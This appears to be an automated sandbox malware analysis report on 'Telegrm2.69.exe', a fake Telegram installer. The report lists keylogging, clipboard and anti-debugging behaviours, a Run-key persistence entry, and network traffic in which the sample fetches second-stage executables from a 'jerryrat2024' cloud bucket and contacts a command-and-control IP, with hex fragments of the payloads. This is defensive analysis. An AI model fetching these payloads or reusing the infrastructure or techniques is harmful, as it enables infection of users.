Edit tour

Windows Analysis Report
Telegrm2.69.exe

Overview

General Information

Sample name:	Telegrm2.69.exe
Analysis ID:	1487486
MD5:	30d73384015546e788046f3d30b50b20
SHA1:	c70e8b2b6ab3bbf80cf64113d5d71924045833eb
SHA256:	29dba2fc79da42f87eaeccf27170e523602d386134e0dab6c61b4f0092040e45
Tags:	exe
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for dropped file

AI detected suspicious sample

Contains functionality to capture and log keystrokes

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

HTTP GET or POST without a user agent

Installs a global mouse hook

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Telegrm2.69.exe (PID: 1960 cmdline: "C:\Users\user\Desktop\Telegrm2.69.exe" MD5: 30D73384015546E788046F3D30B50B20)

arphaCrashReport64.exe (PID: 6456 cmdline: "C:\ProgramData\vzobo\arphaCrashReport64.exe" MD5: 8B5D51DF7BBD67AEB51E9B9DEE6BC84A)

arphaCrashReport64.exe (PID: 4768 cmdline: "C:\ProgramData\vzobo\arphaCrashReport64.exe" MD5: 8B5D51DF7BBD67AEB51E9B9DEE6BC84A)

cleanup

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\vzobo\arphaCrashReport64.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Telegrm2.69.exe, ProcessId: 1960, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\izhecx

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 154.198.53.117 - Destination IP: 192.168.2.5

Timestamp:	2024-08-04T12:55:22.720240+0200
SID:	2011803
Source Port:	9000
Destination Port:	49717
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 154.198.53.117 - Destination IP: 192.168.2.5

Timestamp:	2024-08-04T12:55:30.756541+0200
SID:	2011803
Source Port:	9000
Destination Port:	49719
Protocol:	TCP
Classtype:	Executable code was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\vzobo\arphaDump64.dll	ReversingLabs: Detection: 58%
Source: C:\ProgramData\vzobo\arphaDump64.dll	Virustotal: Detection: 46%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Unpacked PE file: 0.2.Telegrm2.69.exe.3620000.4.unpack

Source: Telegrm2.69.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\jenkins\workspace\ci.arphasdk.build\qtc_out\Release_X64\arphaCrashReport64.exe.pdb source: arphaCrashReport64.exe, 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000003.00000000.2261907126.00007FF600182000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000004.00000000.2342740567.00007FF600182000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890832844.00007FF600182000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe.0.dr
Source:	Binary string: C:\Users\Admin\Documents\Visual Studio 2008\Projects\D11\x64\Release\D11.pdb source: arphaCrashReport64.exe, 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890942598.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmp, arphaDump64.dll.0.dr
Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb!` source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Mfc.pdb source: Telegrm2.69.exe

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: 0_2_0362EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_0362EF20
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_0000021497F2EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_0000021497F2EF20
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 3_2_00007FF600178F78 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	3_2_00007FF600178F78
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A06EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_000002B58A06EF20

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 280
Source: unknown	Network traffic detected: HTTP traffic on port 280 -> 49706

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 154.198.53.117:280

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Sun, 04 Aug 2024 10:55:07 GMTContent-Type: application/octet-streamContent-Length: 238384Connection: keep-alivex-oss-request-id: 66AF5E0B0AD07139388FF808Accept-Ranges: bytesETag: "8B5D51DF7BBD67AEB51E9B9DEE6BC84A"Last-Modified: Fri, 19 Jul 2024 07:12:21 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 5816712042177015287x-oss-storage-class: Standardx-oss-ec: 0048-00000113Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: i11R33u9Z661Hpud7mvISg==x-oss-server-time: 23Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e1 d0 a5 69 a5 b1 cb 3a a5 b1 cb 3a a5 b1 cb 3a c0 d7 c8 3b a0 b1 cb 3a c0 d7 ce 3b 29 b1 cb 3a f7 d9 cf 3b b7 b1 cb 3a f7 d9 c8 3b ad b1 cb 3a f7 d9 ce 3b 90 b1 cb 3a c0 d7 cf 3b ae b1 cb 3a c0 d7 ca 3b b7 b1 cb 3a 33 d8 ca 3b a6 b1 cb 3a a5 b1 ca 3a 0b b1 cb 3a 33 d8 ce 3b a2 b1 cb 3a 33 d8 34 3a a4 b1 cb 3a a5 b1 5c 3a a4 b1 cb 3a 33 d8 c9 3b a4 b1 cb 3a 52 69 63 68 a5 b1 cb 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 1f 1b f1 60 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 10 00 06 02 00 00 74 01 00 00 00 00 00 24 ea 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 03 00 00 04 00 00 6a 12 04 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 04 03 00 dc 00 00 00 00 70 03 00 d8 2d 00 00 00 50 03 00 98 1c 00 00 00 68 03 00 30 3b 00 00 00 a0 03 00 6c 07 00 00 50 b9 02 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 ba 02 00 28 00 00 00 90 b9 02 00 00 01 00 00 00 00 00 00 00 00 00 00 00 20 02 00 40 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c8 05 02 00 00 10 00 00 00 06 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 46 f6 00 00 00 20 02 00 00 f8 00 00 00 0a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 26 00 00 00 20 03 00 00 12 00 00 00 02 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$i:::;:;):;:;:;:;:;:3;:::3;:34::\::3;:Rich:PEd`"t$@j`
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Sun, 04 Aug 2024 10:55:09 GMTContent-Type: application/octet-streamContent-Length: 2199488Connection: keep-alivex-oss-request-id: 66AF5E0D0AD0713938A5FB08Accept-Ranges: bytesETag: "5D165E30CDB59FDCCBD2ACE554EF3DF7"Last-Modified: Sun, 21 Jul 2024 04:01:27 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 10738669038091672703x-oss-storage-class: Standardx-oss-ec: 0048-00000113Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: XRZeMM21n9zL0qzlVO899w==x-oss-server-time: 14Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c7 68 2d 29 83 09 43 7a 83 09 43 7a 83 09 43 7a 9d 5b c7 7a a6 09 43 7a 9d 5b c0 7a c4 09 43 7a 9d 5b d6 7a 89 09 43 7a a4 cf 38 7a 80 09 43 7a 83 09 42 7a cd 09 43 7a 9d 5b c9 7a 80 09 43 7a 9d 5b d1 7a 82 09 43 7a 9d 5b d2 7a 82 09 43 7a 52 69 63 68 83 09 43 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 23 83 9c 66 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 09 00 00 84 00 00 00 de 20 00 00 00 00 00 34 1b 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 c0 21 00 00 04 00 00 16 7b 21 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 e0 d1 00 00 83 00 00 00 04 cb 00 00 28 00 00 00 00 20 01 00 dc 8a 20 00 00 10 01 00 bc 07 00 00 00 66 21 00 c0 29 00 00 00 b0 21 00 f0 01 00 00 50 a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 82 82 00 00 00 10 00 00 00 84 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 63 32 00 00 00 a0 00 00 00 34 00 00 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 22 00 00 00 e0 00 00 00 12 00 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 bc 07 00 00 00 10 01 00 00 08 00 00 00 ce 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 90 20 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$h-)CzCzCz[zCz[zCz[zCz8zCzBzCz[zCz[zCz[zCzRichCzPEd#f" 4!{!@( f!)

Source: global traffic	HTTP traffic detected: GET /Test.txt HTTP/1.1Connection: Keep-AliveHost: 154.198.53.117:280
Source: global traffic	HTTP traffic detected: GET /arphaCrashReport64.exe HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /arphaDump64.dll HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com

Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.198.53.117

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_036221C0 select,recv,_errno,_errno,_errno,setsockopt,CancelIo,closesocket,SetEvent,

0_2_036221C0

Source: global traffic	HTTP traffic detected: GET /Test.txt HTTP/1.1Connection: Keep-AliveHost: 154.198.53.117:280
Source: global traffic	HTTP traffic detected: GET /arphaCrashReport64.exe HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /arphaDump64.dll HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com

Source: global traffic

DNS traffic detected: DNS query: jerryrat2024.oss-cn-beijing.aliyuncs.com

Source: Telegrm2.69.exe, 00000000.00000003.2066764260.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2066727283.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.198.53.117:280/
Source: Telegrm2.69.exe, 00000000.00000003.2066764260.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.198.53.117:280/5
Source: Telegrm2.69.exe, 00000000.00000003.2066764260.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.198.53.117:280/Q
Source: Telegrm2.69.exe, 00000000.00000003.2066727283.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://154.198.53.117:280/Test.txt
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: Telegrm2.69.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0V
Source: Telegrm2.69.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45codesignca2020.crl0
Source: Telegrm2.69.exe, 00000000.00000003.2765027259.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890943306.0000000003A10000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: Telegrm2.69.exe	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Telegrm2.69.exe	String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jerryrat2024.oss-cn-beijing.aliyuncs.com/
Source: Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe
Source: Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe#
Source: Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll
Source: Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dlll
Source: Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jerryrat2024.oss-cn-beijing.aliyuncs.com/c1eb
Source: Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jerryrat2024.oss-cn-beijing.aliyuncs.com/y
Source: Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jerryrat2024.oss-cn-beijing.aliyuncs.com:80/arphaCrashReport64.exe
Source: Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jerryrat2024.oss-cn-beijing.aliyuncs.com:80/arphaDump64.dll:
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Telegrm2.69.exe, arphaDump64.dll.0.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: Telegrm2.69.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45codesignca20200V
Source: Telegrm2.69.exe, 00000000.00000003.2765027259.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890943306.0000000003A10000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: Telegrm2.69.exe	String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: Telegrm2.69.exe	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
